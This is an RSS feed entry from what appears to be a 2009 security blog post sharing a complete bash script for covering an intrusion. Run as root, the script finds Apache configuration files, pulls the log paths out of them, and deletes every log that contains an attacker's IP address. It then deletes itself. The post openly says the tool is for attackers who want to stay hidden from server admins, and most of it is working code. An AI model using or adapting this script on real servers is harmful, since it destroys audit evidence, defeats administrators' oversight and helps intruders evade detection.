<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Research &#187; linux</title>
	<atom:link href="http://www.abysssec.com/blog/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Tue, 31 Jan 2012 15:52:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Hidden Attack with clear log files in Unix , linux</title>
		<link>http://www.abysssec.com/blog/2009/01/31/hidden_attack_with_clear_log_file/</link>
		<comments>http://www.abysssec.com/blog/2009/01/31/hidden_attack_with_clear_log_file/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 14:37:14 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=265</guid>
		<description><![CDATA[Hey ! I&#8217;m back  some exams of university :D and &#8230;. Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?. At first we find [...]]]></description>
			<content:encoded><![CDATA[<p>Hey ! I&#8217;m back   some exams of university :D and &#8230;.</p>
<p>Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?.</p>
<p>At first we find path of directory contain some wanted logs and then searching line by line for log paths,finally founding attacker Ip in log files and removing log file. Be happy !</p>
<p>TEsTed On Debian etch4.0 and FreeBSD 6*</p>
<p>This is Rc 1. [download] : <a href="http://abysssec.com/files/apache-log-remover.txt">Log_f</a></p>
<p>and here is source code in bash :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/local/bin/bash</span>
<span style="color: #666666; font-style: italic;">### coded by t4z3v4r3d</span>
<span style="color: #666666; font-style: italic;">### recurse function : i m not sure who has write that .So thanks unknown man</span>
<span style="color: #666666; font-style: italic;">### made for FreeBSD First ....</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`id -u`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;$0 cant run as <span style="color: #007800;">$USER</span> Please Give me the root perms!!!!! &quot;</span>
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #007800;">patern</span>=<span style="color: #007800;">$2</span>
<span style="color: #007800;">fl</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>f.txt
<span style="color: #007800;">fd</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>find.txt
<span style="color: #007800;">length</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>l-f.txt
<span style="color: #007800;">log_f</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_f.txt
<span style="color: #007800;">log_final</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>final_log.txt
<span style="color: #007800;">null</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #007800;">log_path</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_Found_.txt
<span style="color: #007800;">tm</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`date | cut -d &quot;:&quot; -f 1`</span>&quot;</span>
<span style="color: #007800;">os</span>=<span style="color: #007800;">$OSTYPE</span>
<span style="color: #666666; font-style: italic;"># you can add all paths for all os type !M$ windows IS NOT OS ....Exactly!</span>
<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #007800;">$os</span> <span style="color: #000000; font-weight: bold;">in</span>
Linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
freebsd<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">esac</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">clear</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Enter attacker IP&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> <span style="color: #660033;">-e</span> ip
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;2f Main path Found ....\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache2 &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
		<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Founded Apache2 Config files&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span> 
&nbsp;
recurse <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #000000; font-weight: bold;">for</span> <span style="color: #c20cb9; font-weight: bold;">file</span> <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #007800;">$1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">do</span> <span style="color: #007800;">fqfn</span>=<span style="color: #007800;">$1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$file</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-d</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#########################################################</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$1</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;f=f+1&quot;</span>
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $1 | grep -F .conf`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;t=t+1&quot;</span>
	<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-F</span> .log <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-v</span> <span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">2</span>  <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #007800;">$log_path</span>
	nom<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #007800;">$t</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot; | wc -l`</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;reading $1<span style="color: #000099; font-weight: bold;">\n</span> <span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>r.txt
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;nt=nt+<span style="color: #007800;">${nom[$t]}</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;j=<span style="color: #007800;">$nt</span>+<span style="color: #007800;">$t</span>&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #666666; font-style: italic;">### MOnitoring all acts</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Scanned Files  :\033[4;25f \033[1;37m<span style="color: #007800;">$f</span>\033[1;39m\033[4;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Path(s) found  :\033[5;25f \033[1;37m<span style="color: #007800;">$l</span>\033[1;39m\033[5;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern found  :\033[6;25f \033[1;37m<span style="color: #007800;">$t</span>\033[1;39m\033[6;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern total  :\033[7;25f \033[1;37m<span style="color: #007800;">$j</span>\033[1;39m\033[7;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;30m\033[8;2f Scanning <span style="color: #780078;">`dirname ${1}`</span>:::\033[1;39m\033[8;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[9;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #666666; font-style: italic;">##############################################################################</span>
<span style="color: #000000; font-weight: bold;">done</span> ; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$fl</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $line | grep .conf`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	recurse <span style="color: #007800;">$line</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l=l+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader
&nbsp;
log_path_reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$log_path</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $line | grep &quot;$ip&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mFounded[\033[1;31m&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$line</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-c</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$ip</span>&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #ff0000;">&quot;	\033[1;30m] <span style="color: #007800;">$ip</span> in	&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Removing <span style="color: #007800;">$line</span>&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$line</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;30mFile [\033[1;31m&quot;</span><span style="color: #007800;">$line</span>    <span style="color: #ff0000;">&quot;\033[1;39mFile Dose not exist......\033[1;30m]&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l2=l2+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[8;3f\033[1;31mpath= <span style="color: #007800;">$path</span> OS= <span style="color: #007800;">$os</span>\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[11;1f\033[1;30mScanning DONE!! NOW : Removing Log Files\033[0;0m&quot;</span>
&nbsp;
log_path_reader
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mRemoving 				   $0	&quot;</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span> <span style="color: #007800;">$log_path</span> <span style="color: #007800;">$0</span>
&nbsp;
 <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span>  <span style="color: #007800;">$0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">else</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;37m Mail: amiri@abysssec.com\033[0;0m&quot;</span></pre></div></div>

<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>daphne  :</p>
<p>Hi readers .</p>
<p>Thanks from mr.Amiri .</p>
<p>when we&#8217;re talking about the secret or hidden in server , Log files in unix , linux server , recorded everything . this script is usefull for [white hacker ] and manager to clear major log files .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/31/hidden_attack_with_clear_log_file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

